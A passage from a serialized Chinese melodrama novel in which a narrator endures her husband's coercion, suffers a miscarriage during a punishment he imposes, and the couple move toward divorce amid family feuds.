男人清冷的轮廓隐在昏暗的车厢中忽明忽暗,他凉薄的开口道:“你最近搞出来这么多事,不就是想跟我生个孩子?我成全你,今晚回去就把这件事办了。”
我的心瞬间提了起来,连忙解释:“刚才叶家我爸妈的话,你不用放在心上。我没想过再跟你生个孩子,那些话,也不是我让我爸妈说的。”
“不重要。”
顾时序面无表情的说:“三年了,的确应该再要个孩子。有了孩子,或许你以后才能安分点。”
我想到肚子里的这个,语气有些慌了,“顾时序,你让司机停车!不然我跳车了。”
虽然我只是吓吓他,我不可能带着肚子里的孩子做这种危险的事。
前面开车的司机一听吓了一跳,赶紧关了车锁。
或许是没想到我会这样激烈的反抗,顾时序眉宇间露出一抹不悦和疑惑。
在他心里,我该是那个舔着他,追着他,赶都赶不走的叶昭昭。
这三年来,每次的夫妻生活他都刻意用避孕措施,哪怕我再撩拨,主动提出想跟他再生一个,他都从没有动摇过。
很多时候,做完他就会离开,根本不给我再次怀孕的机会。
可惜现在,他愿意的时候,我不愿意了。
至于我肚子里的这个孩子,我只当是老天对我的恩赐,让我又多了个血脉相连的亲人。
但我永远都不会让顾时序知道他的存在。
不知道是不是车厢里的空气**静,我似乎听见了顾时序越发粗重低沉的呼吸声。
我用余光撇着他,竟发现他耳朵和侧脸都很红。
他此刻靠在车后座闭门养神,捏着紧皱的眉心,仿佛在克制着什么。
难道,我妈给他喝的药是促进那方面欲望的?
刚好此时,车子到了顾氏庄园。
我赶紧下车准备离开,可顾时序扣住了我的手腕,将我往屋里拽。
“顾时序,你松手!”
别看他身型清瘦,但他的力气不小,我就这么一路被他拖着往里走,根本挣脱不开。
我甚至能清晰的感觉到他手心的滚烫。
到了房间,他一边将我抵在门后,一边脱外套。
礼佛三年的清冷佛子,这一刻,像是变了个人。
我吓坏了,声音愤怒中夹杂着颤抖:“顾时序,你不能碰我!”
“为什么?”
他动作一顿,滚烫的呼吸喷洒在我脸颊。
我道:“是不是你在叶家喝的那碗中药不对劲?我带你去医院。
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”
顾时序身躯将我困住,嗓音沙哑的要命:“不用去医院,做完就好了。”
说完,他低头要亲我的脖子。
“不行!”
我羞愤的道:“你要不想去医院,那就去找苏雅欣!”
顾时序微微一滞,眉头紧蹙,“叶昭昭,你是顾太太,进行夫妻生活是你的义务!”
他继续在我脖颈上吻着,那双手也不安分的在我后背摩挲着。
那种感觉仿佛一只蛇缠绕在我身上,仿佛随时都能咬断我的脖子。
可我必须保护我的孩子,医生说过前三个月不能进行夫妻生活,尤其是我还有先兆流产的症状。
情急之下,我脱口而出:“顾时序,其实我……”
我话刚说一半,顾时序的手机突然间响了。
他有一个习惯,手机的铃声会分类。
这个铃声我从没有听过,但他一听到,便瞬间克制住了自己所有的欲望,立刻接了电话。
他甚至走远了些,好像在刻意回避我。
但我刚才还是用余光看见了那个电话号码的归属地是英国。
我不由得攥紧了手指,所以,是顾时序在英国的那个女人出现了什么问题吗?
还没细想,顾时序那边就打完了电话。
挂电话前,他吩咐助理给他准备私人飞机,两小时后启程。
他没有再看我一眼,匆匆往浴室走去冲澡。
半小时后,顾时序从浴室出来,应该是自己在里面解决了。
他一气呵成的穿好衣服,一向淡定自若的脸上全都是情急之色。
当他走到门口,似乎才想到有我这么个人。
“公司出了点事,我要去出趟差。”
扔下一个敷衍的解释,他就走了。
对于他这样的离开,我早已麻木。
可现在,是个知道真相的好时机。
他走后,我立刻给**打了电话,道:“你们现在就跟上顾时序,他两小时后会启程飞英国。记住,一定不要被他发现了。”
“放心,叶小姐,跟踪这一块儿,我们很有经验。”
**跟我信誓旦旦的保证着。
而我,在大半夜的,也离开了顾氏庄园。
离开的时候,刘妈一再挽留,我却不想在这个地方多待一秒钟。
……
翌日,我手机静悄悄的,**那边,并没有任何消息。
直到傍晚,我邮箱终于有了动静。
“叶小姐,您丈夫去英国见的女人,是苏雅欣的姐姐苏念恩。只不过,她患上了严重的精神疾病,这家索利亚精神病医院就是顾总斥巨资为她打造的。
据我们调查,她是顾总国外留学时期的恋人,四年前因为一场意外,双腿残疾不能行走。再后来,她日渐消沉,又患上了精神疾病。顾总这些年一直都在请名医为她医治,每个月不管多忙,都会抽几天时间来这边陪伴她。”
我看着这一连串的字,无比震惊。
所以,顾时序真正爱的人,不是苏雅欣,而是她的姐姐苏念恩?可**调查出的信息说顾时序在国外留学时就与她相恋了。
即然如此,他为什么还要跟我求婚?还要娶我呢?
无数疑问像是重重乌云盘踞在我心头。
我回复了邮件:“我需要更多不关于顾时序和苏念恩的事,麻烦你们再查的详细些。还有,如果可以,请帮我弄到一份苏念恩的毛发样本。”
如果我没有猜错,朵朵应该是苏念恩的女儿吧?
回复完信息,邮箱又恢复了寂静。
可我的心,却始终无法平息。
想到自己浪费了那么那么多的青春,我心中的委屈和辛酸如浪潮般一下一下的往外涌。
原来,早在我们结婚前,他就喜欢上了其他人。
偏偏,他还要跟我求婚,亲手把我带进天堂,又狠狠将我摔进地狱。
我深深的呼吸了几口新鲜空气,低低的呢喃着:“顾时序,我一定会弄清楚,你究竟骗了我多少事!”
两天后,我的邮箱终于再次有了动静。
**:“叶小姐,苏念恩的毛发样本我们已经得到了。您丈夫今早已经启程回国了,我们是继续留下调查,还是将目前调查到的所有资料都发给您。”
我道:“可以启程回国了。他没发现异常吧?”
“没有。”
得到这个答案,我就放心了。
很快,**将顾时序和苏念恩的爱情史整理成了文件发给了我。
我从这个文件里,得到了所有答案。
第68章 我流产了,摊牌离婚(高潮,必看!)
我浏览着邮件内容,心仿佛被一只无形的大手慢慢收紧。
**去了顾时序在英国留学时的学校,跟他的老师求证。
许多老师都说顾时序与苏念恩是校园里人人称羡的一对璧人。
苏念恩是学校里公认的冷美人,她只在面对顾时序的时候才展露笑颜。
据说如果不是那场意外让苏念恩瘫痪,顾时序已经准备在他们毕业后把苏念恩带回顾家了。
我忽然想起顾时序出国那几年,我那些石沉大海的短信。
原来,一切早已有迹可循。
那时的我,都快要放弃这段单相思的感情了。
可我大学毕业那年,顾时序却突然带着钻戒回来跟我求婚。
那时候苏念恩应该是刚出了那场意外瘫痪在床。
以顾时序对她的感情,不该痛苦万分吗?
为何转身回来娶我?
……
我浏览完所有内容后,给**发去信息,跟他们约好明天把苏念恩的毛发样本交给我。
然而,第二天,我按时到了约定好的咖啡店。
整整等了半个多小时,依旧没等到对方出现。
就在这时,手机铃声骤然响起。
屏幕上“顾时序”三个字,惊得我心里一咯噔。
我接了电话,他声音裹着冷沉的寒意,道:“过来见我。”
“我没空。”
我压着喉间的涩意拒绝。
“你等的人,不会来了。”
他每个字都仿佛从指缝中碾过,带着极力隐忍的阴戾。
我的心顿时提到了嗓子眼儿。
他知道我派人查他和苏念恩的事了?
既然如此,我现在更不能见他,谁知道他会不会对我怎样?
我道:“顾时序,你没做亏心事,何必动怒?有些话,你可以在电话里解释,不需要当面说。”
“我在岳母的病房里。来不来,随你。”
电话被掐断的声音让我的心紧紧收缩着,抓起包冲出了门。
说实话,以前顾时序就算再生气,我也没有听过他这种语气。
仿佛火山喷发前死寂的熔岩,下一秒就要吞噬一切。
路上,我想过无数种可能性,顾时序该如何质问我?我该如何应对?
是要摊牌,跟他要个解释,问清楚他为什么要欺骗我这么多年?为什么要跟我结婚?
还是想和他解释,我为什么找人跟踪他?
我脑子有些乱,有好多话想说想问,却又不知该从何问起?
然而,当我赶到医院时,发现不只是顾时序,苏雅欣竟然也在。
我还没来得及质问为什么要带这女人来我妈妈这儿,苏雅欣就朝我扑了过来。
“叶昭昭,你恨我就恨我,为什么要对我姐姐下手?我姐姐从没惹过你,你为什么要害她!”
她又哭又叫,跑到我面前狠狠扯着我的衣服,不停地摇晃着。
顾时序站在病床边,眼底翻涌着猩红,周身冷得像座冰雕。
我的心沉了沉。
看来,顾时序果然是为了我跟踪他,发现苏念恩的事来找我算账的!
我被苏雅欣这一通的攻击弄得莫名其妙,也来了脾气。
一把将她推开,我蹙眉道:“有话就说话,别撒泼!”
顾时序扶住她,眸光像是淬了毒看向我:“心理素质真好。哪怕在岳母面前,你也能面不改色。”
我深深吸了口气,道:“对,我是找**调查你了。难道,我们结婚四年,我连知道真相的权利都没有吗?”
“叶昭昭!”
顾时序厉声打断我,语气陡然沉了下去:“只有她**,你才能甘心,是不是?”
我震惊地僵在原地,不可置信地看着他。
苏念恩**?
为什么会这样?
苏雅欣靠在顾时序怀里痛哭:“我姐姐昨晚**了!监控拍到陌生人潜入她病房,他们说是你派他们去的。你太狠了!你真是太狠了!姐姐走的时候,连一句话都没给时序哥留下。”
我怔怔的站在原地,虽说我根本不认识苏念恩,但好好的一个人就这么突然没了,实在让人震撼。
顾时序脸色如死灰,目光却像能剜掉我肉的刀,“你究竟对念恩做了什么?说了什么?”
我坦然地说:“我只是让**帮我去取苏念恩的毛发样本。当时,侦探说苏念恩已经睡着了,她根本就不知道。所以,她的死,跟我没有关系。”
苏雅欣眼中闪过一抹锋芒,极力地反驳我:“可为什么我姐姐以前一直好好的,为什么偏偏在你派人过去之后,她就**了!你是不是让人对她说了什么话?我姐姐有严重的精神疾病,不能受刺激的。”
顾时序眼神结了冰,一字一顿:“我要听实话。”
“这就是实话!”
我拔高声音道:“如果你觉得我说谎,或者你有证据,那你尽管去报警,告我故意**!如果你没有证据,就别血口喷人!”
苏雅欣仍在一旁哭着,“我姐姐病房里没有监控,你就是利用这一点,才肆无忌惮地害她吧?就算我们没有证据,也并不代表你没做!”
顾时序不再逼问我真相,但他心里已经确定是我害**苏念恩。
他不再看我,视线落在病床上昏迷的母亲身上,声音平静得残忍:“念恩不能白死。是让你母亲赎罪,还是你自己赎罪?”
我下意识地心惊起来,走过去拉住他,愤声道:“顾时序,我们之间的问题我们自己解决。如果你害死我妈,我会告你故意**!”
顾时序嘴角噙着一抹不屑,道:“你告我?你以为认识个沈老太太,认识个沈宴州,就能这样挑衅我?”
他的手指在我母亲和设备连接的管道上缓缓滑动,仿佛随时都能拔掉管子,切断我母亲活下去的机会。
“别忘了,只要这个设备一天不上市,我作为顾氏的决策者,就有权力停止设备的临床试验。”
我颤抖着开口问:“那你想怎样?”
顾时序看着我,道:“想让你母亲活下去,那就给念恩赎罪。去西岩寺,从山脚跪到山顶,一步一叩首。”
我身子微微颤了颤,指尖下意识地抚上肚子。
这一次,我想将这个孩子的去留交给他。
“顾时序,我怀孕了。”
顾时序冷峻的脸上划过一抹错愕,随即冷冷道:“你以为我相信你这些鬼话?”
他很自信,他避孕措施做得那么好,我绝不可能怀孕。
顾时序叫来保镖,连一个眼神都吝于施舍,让他们将我带了出去。
路过苏雅欣时,她嘴角挽起的那抹胜者的弧度,哪有半分丧姐之痛?
我不再做无谓的挣扎,望着男人决绝的背影,凄然地笑了。
虎毒尚不食子,但顾时序,却这么做了。
……
西岩寺。
暴雨砸在灰白色的台阶噼啪作响。
我浑身早已湿透。
明明是为人渡劫的寺庙,却变成了我的浩劫。
每一次屈膝跪下,膝盖都像有钝器狠狠砸过,疼得我眼前发黑。
保镖说,顾时序命令我每跪一次都要磕一个头,说一声“对不起”。
因为,这是我欠苏念恩的。
我算不清我跪了多少次,磕头又磕了多少次?
但我说“对不起”,并不是为苏念恩,而是对我腹中的宝宝说的。
直到天快要黑了,我也快跪到那佛寺顶端。
我的心湿冷一片,痛到麻木,可小腹里被狠狠拉扯的痛,却又那么清晰。
我知道,我的宝宝一直在陪我顽强地坚持着。
可现在,他已经坚持不下去了。
温热的液体顺着我的大腿内侧缓缓流下,流到地上,跟雨水混成了一片蜿蜒的红。
那红色像蛇,缠绕着我,也缠绕住我肚子里那个未曾某过面的小生命。
“对不起……”
我张了张嘴,三个字被雨声破的粉碎,连我自己都快要听不清。
我仰头望着山顶那尊金光闪闪的佛,它仿佛伫立在云端,慈悲地俯瞰众生,却唯独看不见我。
雨,还在下,不停地冲刷着台阶上的血,直到将我的宝宝留在这世上最后一丝痕迹冲刷干净。
可这些伤早已刻进我的骨血里,一辈子,都抹不掉了。
监视我的两个保镖见我已经完成了顾时序的命令,转身就走。
而我,身体再也撑不住。
意识模糊的最后一刻,我仿佛看见佛前的烛火晃了晃,像是谁在无声的叹息。
……
再次睁眼时,小腹空荡荡的疼提醒着我,我失去了我的第二个孩子。
护士正在调输液瓶,见我醒了,轻声问:“医生刚给你做完清宫手术,你现在感觉怎么样?”
“还好。”
我麻木地回了两个字。
护士愣了愣,问:“你知道自己怀孕?”
我轻轻‘嗯’了声。
护士更加不理解了,她问:“既然你知道自己怀孕,怎么还做这种事呢?你大雨天的去寺庙是为家人祈福吗?你家里人……生病了?”
“嗯,对,他……生了很严重的病。”
曾经那个把我捧在手心的少年,已经病入膏肓,变成了魔鬼。
我问:“是谁把我送来的?”
护士微微叹了口气,道:“是一个和尚把你送来的,还给你交了所有费用。”
我问:“那他现在
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走了吗?”
如果没走,我想谢谢人家,还要把钱还给他。
护士道:“他知道你手术成功就走了。你把你丈夫的联系方式给我,我联系他。”
“我丈夫……”
我淡淡的说:“他**。”
护士一副恍然大悟的样子,以为我大雨天的去寺庙里跪着祈福,是为了我死去的丈夫。
她同情地望着我,道:“那你家还有没有别人啊?”
“你不用为我担心,我让我朋友来。”
护士离开后,我给宋今若打了电话,简单跟她说了我发生的事。
……
半小时后,宋今若气喘吁吁的冲进病房。
她怔愣了两秒钟,突然间泣不成声。
我看到她的眼泪,失去孩子的悲伤才后知后觉地涌了上来。
宋今若走过来轻轻摸了摸我额头上的纱布,哽咽着问:“很疼,是不是?”
我没说话,眼泪无声地滑慢脸颊,“我……还是没有留住我的宝宝……”
宋今若不停地深呼吸着控制情绪,身体还是气得颤抖。
她道:“顾时序这个畜生,连自己的孩子也不放过?”
“他不相信我怀孕了。”
我惨淡地挽起唇角,道:“不过,他信与不信,已经不重要了。孩子没了,我和他之间,就什么都没了。”
宋今若再次被气哭:“你当时就该先跟我说,让我去找**查。就算被发现,他看在宋家的面子上,也不会对我怎样!他就是看你孤立无援,没人撑腰,才这么肆无忌惮地欺负你!”
说完,她拿起电话要给顾时序打。
我拦住她,道:“我不想见他。他不需要知道任何事,最好,再也不要想起我这个人。”
宋今若点点头,道:“也是,分居满两年就能判离婚了。他既然喜欢吃屎,那苏家两个姐妹让他好好吃去吧!**一个,不是还有一个吗?”
……
就这样,宋今若为了我,放下了所有工作。
她甚至去跟家里的保姆阿姨学做饭,每天都换着花样煲汤给我喝。
虽然在她的照顾下,我身体恢复得不错。
但“苏念恩离奇**”的谜团,仍旧像乌云般笼罩在我心里。
苏念恩是苏雅欣的亲姐姐,难道,苏雅欣为了害我,不惜要了她姐姐的命?
晚上,宋今若回去了。
我正准备熄灯睡觉,听见了门外顾时序的声音:“她在这间病房吗?”
“是的。”孙杰道:“需要我去问一下医生,太太的情况吗?”
“不必了。”
他并不关心我的病情。
下一秒,他推开了我病房的门。
一个星期不见,他憔悴了许多,一向注重外形的他,此刻就连下颌青色的胡渣都没有刮。
看得出来,苏念恩的死,对他的打击很大。
他漆黑的眸子看到我额头和膝盖上厚厚的纱布,凉薄地开口:“真是便宜你了!你伤的只是皮肉,念恩丢掉的却是命!”
我闭上眼睛,声音轻得像叹息:“我再说一遍,我没有害她。”
顾时序忽然走到我床边,修长高大的身躯弯了下来,双手紧紧捏着我肩膀。
他布满红血丝的眼睛死死盯着我,呼吸中带着未散的戾气:“叶昭昭,你知不知道,我真想让你去给她赔命!”
我疼得蹙眉,心底泛起一片荒芜的冷笑。
赔命?
我已经赔了啊!
我只是让**取了苏念恩几根头发,却赔上了我未出世的孩子。
这样,还不够吗?
我艰难地开口:“顾时序,你知不知道,我流……”
‘流产了’三个字未说完,便被他生生打断:“我们离婚吧!”
我愣住的瞬间,一股奇异的轻松突然漫了上来,像困了我四年的牢笼突然打开。
顾时序直起身,居高临下地看着我:“你没有资格做顾太太。离婚协议,我会尽快让律师拟好。”
我忽然笑了声。
离婚?
他以为,离婚是对我的惩罚?
这两个字,轮得到他先提吗?
我望进他冷沉的眼底,一字一顿:“你生日那天,我送你的礼物,你没看,对吗?”
顾时序沉默着,算是承认了。
嗯,意料之中。
他从未将我放在心上,我所有的用心,在他眼中都轻如尘埃。
连看一眼,都懒得看。
我唇角轻扯出一抹弧度,平静而又冷淡的陈述着:“离婚协议我已经签过字了,就在那天送你的生日礼物里。我们随时,都可以去民政局离婚。”
顾时序瞳孔猛然一缩,错愕终于在他那张冰封的脸上裂开了一道缝。
第69章 回旋镖扎中了顾时序自己
顾氏庄园。
顾时序静**在书桌前,指尖反复摩挲着离婚协议上的‘叶昭昭’三个字。
墨色的字迹清秀,却又带着一种决绝的利落。
日期就在他和苏雅欣绯闻曝光的那天。
可她明明争风吃醋这么久,闹出了这么多事,甚至害**他的念恩。
她做这一切,不就是为了保住这顾太太的位置吗?
窗外的梧桐叶被风吹得沙沙作响,心口的烦闷如潮水般袭来。
他脑海中突然想起刚才他从医院离开时,叶昭昭最后对他说的那句话:“顾时序,我早就不要你了。”
这一夜,书桌上的烟灰缸里,多了一根又一根的烟蒂。
明明她闯入他的禁地,害**他最珍惜的人。
可他却在今晚才觉得一直贯穿在他生命中的某样东西,突然消失了。
并不是很痛,但那一块,空的难受。
为什么会这样?
他爱的人,明明是念恩啊!
……
一个月后。
我终于能出院。
冬日的阳光洒在身上,带着久违的暖意。
可我迟迟没有等到顾时序来找我办离婚手续。
我攥着手机犹豫了许久,还是给他打了电话。
然而,接电话的人却是姜淑慧。
“叶昭昭,你这个小**还敢打电话来!”
听筒里她的声音一如既往地刻薄刺耳:“怎么?你姘头把时序打进医院,现在他要蹲监狱了,你知道怕了?”
我顿时愣住,追问道:“你把话说清楚!”
“你敢说,顾亦寒不是你找来的?”
姜淑慧气急败坏地说:“他在顾氏的车库里守株待兔,看到我们时序,他上来就打!有本事,你们别搞偷袭啊!下三滥的东西!”
她语无伦次的咒骂,我脑子发蒙。
这怎么又跟顾亦寒扯上关系了?
就在这时,门铃声急促地响了起来。
看见薛晓琴一脸急切地出现在我家门口,我赶紧挂了电话,然后给她开门。
“琴姨,发生什么事了?”
“昭昭,你……快想想办法,救救亦寒吧!”
薛晓琴急哭了,哽咽着道:“最近亦寒联系不到你,就去找今若。今若把你的遭遇告诉了他,他当时就去找时序算账了。我拦都拦不住!”
我深深叹了口气,心头又气又涩。
顾亦寒总是这么冲动!
“那现在是什么情况?”
我给她倒了杯水,她声音才稍微平静些。
“顾时序那边报警了,亦寒被拘留了。警察说,他是拿着棒球棒在车库等时序的。时序的肋骨被他打断了两根,现在住院了。昭昭,顾家不会放过他的!可我只有这一个儿子,你帮琴姨想想办法,行么?”
“琴姨,你先别着急。找律师了吗?”
我突然想起沈家,连忙道:“对了,顾亦寒不是跟沈宴州关系很好吗?你去找沈律师没?”
薛晓琴道:“找过了,宴州说这种情况除非取得当事人的谅解。否则,人证物证都有,亦寒很难出来。可一般人还能通过赔钱私了,但顾时序根本就不缺钱啊!”
我深深叹了口气。
这就麻烦了!
薛晓琴泣不成声地说:“今天事情一发生,亦寒他爸爸就去找了姜淑慧,被她轰了出来。她扬言一定要请最厉害的律师,让亦寒把牢底坐穿。”
“琴姨,你先别着急。知不知道顾时序在哪家医院住?”
毕竟,顾亦寒是为了我,我不能坐视不理。
记下地址后,我送走薛晓琴。
望着窗外仍旧湛蓝的天空,我心里忽然覆上了一层阴霾。
……
海城骨科医院VIP病房外。
我听着里面姜淑慧嘘寒问暖声和朵朵的童声,便知道她们都在。
不想自取其辱,所以我一直在走廊里等着。
直到夕阳西下时,姜淑慧和苏雅欣才带着朵朵离开。
推门时,顾时序正靠在床头发呆,手中的佛珠有一搭没一搭地转动着,不知在想些什么?
他胸口缠着厚厚的绷带,嘴角隐约能看见淤青。
听见声音,他抬眼看了我一下,眸光微闪,扯出一抹冷笑:“来替顾亦寒求情?”
我懒得绕弯子,直接问:“我知道你不会轻易放过他。所以,要怎样你才肯松口?”
“就这么担心他?”
他漆黑的眸光在我身上反反复复流连,阴测测地说:“怪不得这么早就备好了离婚协议,原来是找好下家了。”
我紧紧捏着手指,道:“顾时序,你为什么跟我结婚,我不知道,但我相信你自己心里很清楚。都到了这一步,你居然还要把脏水全泼到我身上。你这顿打,真是一点都不冤!”
顾时序眸光暗了几分,“从你进门直到现在,你都没有问过一句我的伤。从始至终,你都在为顾亦寒求情。”
我忽然笑了。
“顾时序,你忘了?我以前生病的时候,你是怎么做的?一直以来,你也是这么对我的。”
我看着他一寸寸阴郁的脸色,忽然觉得这世上很多事都很公平。有时候,不知不觉地,回旋镖就刺在自己身上了。
顾时序沉默了许久,无话可说。
病房里静的能听见滴管里药水滴落的声音,良久,顾时序沉声开口:“想让我放过他,也行。你留下照顾我,直到我康复。”
我以为自己听错了。
“我没时间。”
我冷冷回绝。
顾时序轻嗤了声:“你工作不是都没了吗?还有什么可忙的?放心,我会付你工资,不会白用你的。”
我压着火,道:“你有护工、有苏雅欣、还有你妈,什么时候也轮不到我照顾你。况且,我们就要离婚了,我照顾你,不合适。”
他眸光微敛,道:“她们不了解我的生活习惯,我也不喜欢别人近身接触我。”
我差点笑出声来,“你不习惯别人接触你?那朵朵是怎么来的?”
顾时序捏着佛珠的手猛然收紧,骨节泛白,冷声道:“既然你不愿意,那顾亦寒的问题上,我们就走正常的法律程序。”
他语气决绝,没有一丝商量回旋的余地。
毕竟,他和顾亦寒一直都是彼此的眼中钉肉中刺。
这回被顾时序抓到了机会,他能放过顾亦寒才怪!
“我答应你。”
我闭了闭眼,再睁眼时,已是一片平静:“但你要保证,一定会放过顾亦寒。”
他从喉间溢出一个“嗯”字,听不出情绪。
只是捏着佛珠的手,力道更重了些。
我心里的石头稍稍落地,另一件更重要的事又浮了上来。
“对了,我们离婚手续什么时候办?”
顾时序抬眼睨着我,眼神冰冷:“急什么?就算现在办了,顾亦寒也出不来,你们也进行不了下一步。”
我坚持道:“离婚,是我跟你之间的问题。早点办了,大家都能早点解脱!”
顾时序低头看了下自己的伤口,语气慵懒:“你觉得我现在这样子,能跟你去民政局?”
我流产的时候都还在西岩寺的雨里跪着替他的白月光赎罪,他这点伤,又算什么呢?
可我终究还是把到嘴边的话咽了回去。
在顾亦寒出来之前,我不想再惹他,免得节外生枝。
就在这时,护工端着温水进来。
我原以为是我跟护工轮流照看他,刚想回去了,身后就传来顾时序幽幽的声音:“刚才你答应我的事,转头就忘了?”
不等我反应,他已经对护工道:“你可以走了,以后不用来了。”
“顾时序,你不要太过分!”
我猛地转身,火怎么都压不住,“就算是打工的,也没有让人家24小时连轴转的道理吧!”
顾时序不悦地蹙眉:“你搞清楚,我们现在没离婚,你还是我太太。你不是在打工,而是在照顾你丈夫!”
丈夫?
这两个字对我来说,实在是太陌生了。
我懒得跟他理论,恰好这时,夜班查房的医生来了。
“顾总刚做完手术,伤口不能碰水。如果想洗澡,就需要你们家属精心照顾了,可以给他擦擦身。”
“还有,今天手术后顾总有发热的迹象,夜里每隔一小时要给顾总量一次体温,还要检查一下伤口是否有渗血。”
医生又交代了许多手术后的注意事项,就离开了。
我没觉得顾时序有这么娇气,他没有伤到手脚,任何事都可以自己做。
我面无表情地去浴室接了盆水,然后将毛巾丢在他面前,道:“自己擦吧!我在外面客厅,有事叫我。”
我还没走出几步,他就叫住我:“等等。你过来给我擦。”
我转过头,格外疲惫地开口:“顾时序,你是不是觉得我
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这几年受到的搓磨还不够?哪怕快要离婚了,你还要再折磨我一下?”
顾时序喉结动了动,想说什么,却别开脸,望着窗外黑压压的暮色,道:“以前,你从没有说过,我们的婚姻对你是折磨。”
“那是因为我犯贱!”
我毫不留情地骂着曾经的自己,一字一句地说:“看在我们交易的份儿上,我会遵守约定。但是顾时序,你别指望我再像以前那样,对你摇尾乞怜!”
就这样,我走过去,用毛巾沾了水,粗鲁地帮他擦脸。
对,我是把他的脸当作灶台擦的!
顾时序意识到我在报复他,顿觉无味,将毛巾从我手里抽走,道:“滚出去!”
我巴不得!
就这样,他自己在屋里擦自己的,我在外面小客厅的沙发上用手机更新小说。
偶尔,我会听见从里面传来的闷哼声,不知道是不是他擦后背的时候,扯到了手术伤口。
没过多久,刘妈来了。
“太太,这是顾先生让我送来的,您的换洗衣服和日用品。”
说完,她看向我的沙发,道:“您晚上就睡这儿吗?沙发睡着能舒服吗?”
我勉强笑笑,道:“就这样吧,还好。”
反正只要跟顾时序呆在一起,哪里都不舒服。
只要熬到他出院,就彻底能了断了。
刘妈走后,我拿着洗漱用品去浴室洗了澡,换了睡衣,从始至终,没再跟顾时序有一句话的交流。
半夜一点钟,他也不睡,还半靠在床上看文件。
而我今晚要每小时都给他量一次体温,也没办法睡觉。
索性,我就准备通宵写小说提神儿,哪怕我现在确实困得眼皮打架了。
今天更新的小说内容恰好是虐我千百遍的老公生病住院。
但小说里的男主比顾时序可惨多了。
住院时妻离子散,老婆、情人和孩子都不愿意来看他一眼。
评论区一片叫好声:
“该!渣男!报应终于来了!”
“未央大大,怎么不写个什么绝症,直接把他给写死啊!”
“哈哈,幸好没有弃文。作者大大继续往死里虐男主吧!虐得越狠,我们越爽!”
“……”
看着这些评论,我忍不住笑了。
可不知什么时候,顾时序突然从里屋出来,到了我旁边。
我吓了一跳,赶忙关上手机。
脸上的笑意也收敛起来。
他探究地盯着我,问:“跟谁发信息呢?”
“宋今若。”
我敷衍着回了句,问:“有事吗?”
顾时序背对着光,看不清表情,淡声道:“该量体温了。”
我深深吸了口气,哪怕体温计就在他床头柜上,他还是要叫我来量。
幸好今晚,我是做好了通宵战斗的准备。
就这样,我想着明天如何虐渣男的剧情,人已经往里屋走去。
量完体温,我拿本子记录了下来。
顾时序仍旧在熬着看文件,不睡。
要是搁以前,我必定是心疼得无法入眠,会不顾他的漠视,一遍遍催促他休息。
但现在,不会了。
而顾时序沉沉地看着我,仿佛我不开口让他睡觉,他就能一直熬到天亮。
“你有事叫我。”
我丢下一句话,任他熬夜,我也不管。
可后来,我自己没熬过去,不知什么时候,在外面的小沙发上睡着了。
等我醒来时候,天都亮了,护士进来给顾时序打点滴。
我这才想起凌晨那几个小时的体温,都没有给他量。
我赶紧进去里屋想跟护士解释一下。
没想到,体温本上,每小时的体温,都记录得清清楚楚。
字迹,应该是顾时序自己写的。
我尴尬的看了他一眼,没说什么。
护士打完点滴,他闭起微微泛起青色的双眼,对我道:“我要睡会儿,上午没什么事别叫我。”
而他还没睡多久,他的母亲和情人就来了。
见我在这儿,两人顿时瞳孔地震。
姜淑慧怒道:“叶昭昭!时序刚出事,你就往他面前凑!你想把时序气死,然后卷着他的财产跟姘头私奔,是不是!”
苏雅欣道:“叶小姐,如果你想救出顾亦寒,还是想其他办法吧!自从我姐姐死后,时序哥看都不想再看你一眼。你来这里,只会让时序哥更生气。
第70章 可以做,但那是另外的价钱
苏雅欣话音刚落,顾时序不知什么时候醒了,出现在了客厅里。
“是我让她留下的。”
他声音里带着刚睡醒的沙哑和不悦,却瞬间压过了所有嘈杂。
姜淑慧立刻收了声,快步上前去扶他:“时序你怎么起来了?医生不是让你多躺着吗?”
顾时序侧身避开她的手,蹙眉道:“以后,您不用每天过来,怪辛苦的。”
姜淑慧不可思议地看着他,道:“时序,你疯了吗?叶昭昭她就是个**的贱妇,跟顾亦寒那个兔崽子差点害死你,你居然还敢把她留在身边?”
苏雅欣也走了过去,柔柔地说:“时序哥,我来照顾你,好不好?我想到姐姐的死,至今都心有余悸。我好怕你也离开我……”
这句话,我听懂了。
这是在暗示我不仅害**苏念恩,还要害死顾时序。
我笑了笑,道:“顾时序,你听见了,要是不想死得这么早,还是赶快跟我把离婚办了。毕竟,你要是现在**,你的财产我还能继承到一半呢。”
姜淑慧怒骂道:“你这个**,终于说实话了!时序,你听见了吧,她就是居心叵测!”
顾时序斜睨了我一眼,对母亲道:“那就让她试试,看看能不能害死我?”
苏雅欣红着眼眶道:“时序哥,我不能用你冒险,求你让我留下来照顾你吧!”
顾时序声音没什么起伏,道:“你回去陪朵朵吧。不然爸爸妈妈都不在身边,她会害怕的。”
苏雅欣脸色白了白,就是不想走,小声道:“可……可我怕叶小姐一个人太辛苦了。要不,我跟她轮流?”
“她习惯了。”顾时序淡淡开口,像是在陈述一个再平常不过的事实,“我会付她工资。”
“习惯了”三个字像针一样扎进我心里。
是啊,我习惯了。
习惯了他的冷漠和忽视,习惯了在这段婚姻里付出。
以至于,他把我付出的一切,都当做了理所应当。
我攥紧了拳头,才没让自己转身就走。
顾亦寒还在等我的消息,我不能功亏一篑。
姜淑慧还想说什么,却被顾时序一个眼神制止了。
他看向我,语气带着几分命令的意味:“进来,帮我倒杯水。”
深吸一口气,我面无表情地走进病房,倒了杯开水递给他。
他接过时,指尖不经意擦过我的手背。
我像触电般缩回手,力道之大,带的水杯晃了晃,开水溅出来几滴,落在他手背上。
“抱歉。”
我嘴上道歉,心里骂他活该!
姜淑慧和苏雅欣两人没劝动顾时序,还不死心,在客厅里不走。
我故意用她们能听得见的声音问顾时序:“不是说要付我工资吗?你准备付多少?”
顾时序捏着水杯的手微微收紧,冷冷问:“你想要多少?”
“顾总财大气粗,一天一百万,对你来说,不多吧?”
顾时序轻扯了一下唇角,道:“可以。”
姜淑慧气得要命,指着我道:“现在你连装都不装一下了!直接狮子大开口了,是吧?”
我冲她笑了笑,道:“等财产分割那天,还有你肉疼的时候呢!”
顾时序沉声道:“叶昭昭,你差不多行了!”
他漆黑的眸光写满了不悦,我没再说话。
可姜淑慧却因为刚才我说的那句话差点气晕过去。
苏雅欣见顾时序不为所动,只好先跟姜淑慧走了。
顾时序因为昨晚熬了一个通宵,现在又睡下了。
而我,趁着这个空档,回了趟家。
一是拿我的笔记本电脑,手机写小说太不方便,眼睛太累。
二是我还得找一下薛晓琴,让她不要担心。
我去了楼上,薛晓琴和宋今若都在。
她也是听说了顾亦寒的事,所以才赶过来的。
